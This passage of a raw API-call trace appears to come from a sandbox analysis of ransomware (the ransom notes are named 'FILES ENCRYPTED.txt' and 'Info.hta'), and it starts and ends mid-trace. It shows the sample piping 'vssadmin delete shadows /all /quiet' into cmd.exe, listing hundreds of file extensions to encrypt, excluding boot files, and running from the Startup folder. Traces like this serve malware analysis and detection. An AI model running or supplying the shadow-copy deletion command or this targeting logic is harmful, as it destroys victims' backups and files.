nSize=0x0 | out: hReadPipe=0x19fd50*=0xf94, hWritePipe=0x19fd54*=0xf98) returned 1 [0240.547] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0xf9c, hWritePipe=0x19fdc4*=0xfa0) returned 1 [0240.547] SetHandleInformation (hObject=0xf98, dwMask=0x1, dwFlags=0x0) returned 1 [0240.547] SetHandleInformation (hObject=0xf9c, dwMask=0x1, dwFlags=0x0) returned 1 [0240.547] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0xfa8, hThread=0xfa4, dwProcessId=0x2698, dwThreadId=0x269c)) returned 1 [0240.608] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0240.608] WriteFile (in: hFile=0xf98, lpBuffer=0x641ae0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x641ae0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0240.608] CloseHandle (hObject=0xfa8) returned 1 [0240.608] CloseHandle (hObject=0xfa4) returned 1 [0240.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6acb80 | out: hHeap=0x630000) returned 1 [0240.609] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0240.609] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x641ae0 | out: hHeap=0x630000) returned 1 [0240.609] lstrlenW (lpString="%comspec%") returned 9 [0240.609] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f6f0 | out: hHeap=0x630000) returned 1 [0240.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4 [0240.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677a70 [0240.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x677a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8 [0240.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x678458 [0240.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x678458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb0 [0240.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.611] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f650 [0240.611] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f650, Size=0x40) returned 0x642338 [0240.611] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0240.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd0) returned 0x64ad98 [0240.611] GetLogicalDrives () returned 0x4 [0240.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10014) returned 0x6acb80 [0240.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ab8 [0240.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ab8, Size=0x20) returned 0x66f6c8 [0240.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f6c8, Size=0x40) returned 0x6424a0 [0240.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6424a0, Size=0x80) returned 0x6eccd0 [0240.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eccd0, Size=0x100) returned 0x63e4b0 [0240.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63e4b0, Size=0x200) returned 0x66cf88 [0240.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66cf88, Size=0x400) returned 0x6eeba8 [0240.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eeba8, Size=0x800) returned 0x6eeba8 [0240.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eeba8, Size=0x1000) returned 0x6eeba8 [0240.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x6bcba0 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677ad0 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x678608 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677cf8 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x678468 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677ab8 [0240.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678468, Size=0x8) returned 0x678498 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677d58 [0240.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678498, Size=0x10) returned 0x677d88 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677e78 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677ff8 [0240.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677d88, Size=0x20) returned 0x66f7e0 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678010 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6784c8 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x677f68 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x677ea8 [0240.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f7e0, Size=0x40) returned 0x6428d8 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x677f50 [0240.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x677f98 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x677de8 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x677fc8 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678028 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677dd0 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x678578 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677ec0 [0240.614] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6428d8, Size=0x80) returned 0x6ed7f8 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677ed8 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677db8 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677d70 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677e90 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677ef0 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677d40 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677f80 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x678448 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677fb0 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677d88 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677e00 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677e18 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677f08 [0240.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677f20 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677da0 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677e30 [0240.615] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed7f8, Size=0x100) returned 0x63e4b0 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677e48 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677e60 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677f38 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x678190 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678130 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678088 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x678468 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6780b8 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678118 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6780d0 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6784f8 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6780e8 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6781a8 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x678588 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678148 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6781c0 [0240.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x678100 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678160 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678178 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678070 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6781d8 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6781f0 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x678040 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6780a0 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x678058 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66e198 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f02b8 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x678598 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f02d0 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0330 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f02a0 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0378 [0240.616] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63e4b0, Size=0x200) returned 0x66cf88 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f02e8 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x678498 [0240.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0348 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0258 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0240 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0360 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0270 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0390 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0210 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f01e0 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f01f8 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6f0288 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6f0228 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0300 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0318 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6efcb8 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6efc28 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efdc0 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6efeb0 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6efdd8 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efec8 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efc10 [0240.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efc40 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6785e8 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efd00 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efcd0 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efc88 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6785a8 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efd48 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6efd60 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efe98 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efce8 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efd90 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efc58 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efbe0 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efe80 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6efd18 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6efdf0 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efe08 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efc70 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efe20 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6efbf8 [0240.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efe38 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efd78 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efda8 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efe50 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efca0 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efe68 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6efd30 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6784a8 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6784d8 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0138 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0030 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0048 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0060 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0078 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6eff10 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0150 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f0090 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6f00a8 [0240.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6eff28 [0240.619] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66cf88, Size=0x400) returned 0x6f03b8 [0240.620] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f03b8, Size=0x800) returned 0x6f1bd0 [0240.620] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0240.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eeba8 | out: hHeap=0x630000) returned 1 [0240.620] lstrlenW (lpString="") returned 0 [0240.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2570 | out: hHeap=0x630000) returned 1 [0240.620] lstrlenW (lpString=".com") returned 4 [0240.620] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678608, Size=0x8) returned 0x6782e8 [0240.620] lstrlenW (lpString=".com") returned 4 [0240.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2588 | out: hHeap=0x630000) returned 1 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2498, Size=0x20) returned 0x66f998 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f998, Size=0x40) returned 0x6428d8 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6428d8, Size=0x80) returned 0x6ed5d8 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678608, Size=0x8) returned 0x678288 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678288, Size=0x10) returned 0x6f2498 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2498, Size=0x20) returned 0x66f830 [0240.621] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0240.621] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed5d8 | out: hHeap=0x630000) returned 1 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f24b0, Size=0x20) returned 0x66f8d0 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f8d0, Size=0x40) returned 0x6423c8 [0240.621] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0240.621] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0240.621] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6423c8 | out: hHeap=0x630000) returned 1 [0240.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2630, Size=0x20) returned 0x66f948 [0240.621] lstrlenW (lpString="Info.hta") returned 8 [0240.621] lstrlenW (lpString="Info.hta") returned 8 [0240.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f948 | out: hHeap=0x630000) returned 1 [0240.622] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6ccba8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe")) returned 0x46 [0240.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ccba8 | out: hHeap=0x630000) returned 1 [0240.622] lstrlenW (lpString="load0.exe") returned 9 [0240.623] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f830, Size=0x40) returned 0x6428d8 [0240.623] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2570, Size=0x20) returned 0x66f6c8 [0240.624] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2678, Size=0x20) returned 0x66f8d0 [0240.624] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f8d0, Size=0x40) returned 0x642920 [0240.624] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642920, Size=0x80) returned 0x6eccd0 [0240.624] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eccd0, Size=0x100) returned 0x63e4b0 [0240.624] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0240.624] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6ccba8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0240.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2be0 | out: hHeap=0x630000) returned 1 [0240.625] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ccba8 | out: hHeap=0x630000) returned 1 [0240.626] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678378, Size=0x8) returned 0x678258 [0240.626] lstrlenW (lpString="%windir%;") returned 9 [0240.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f6c8 | out: hHeap=0x630000) returned 1 [0240.626] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0240.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6bcba0 | out: hHeap=0x630000) returned 1 [0240.627] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2630, Size=0x20) returned 0x66f8d0 [0240.627] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f8d0, Size=0x40) returned 0x642968 [0240.627] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642968, Size=0x80) returned 0x6ed6e8 [0240.627] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6e8, Size=0x100) returned 0x63e4b0 [0240.627] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678248, Size=0x8) returned 0x6782a8 [0240.627] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6782a8, Size=0x10) returned 0x6f2588 [0240.627] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2588, Size=0x20) returned 0x66f6c8 [0240.627] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678308, Size=0x8) returned 0x6782a8 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678298, Size=0x8) returned 0x678328 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678338, Size=0x8) returned 0x6783b8 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6783b8, Size=0x10) returned 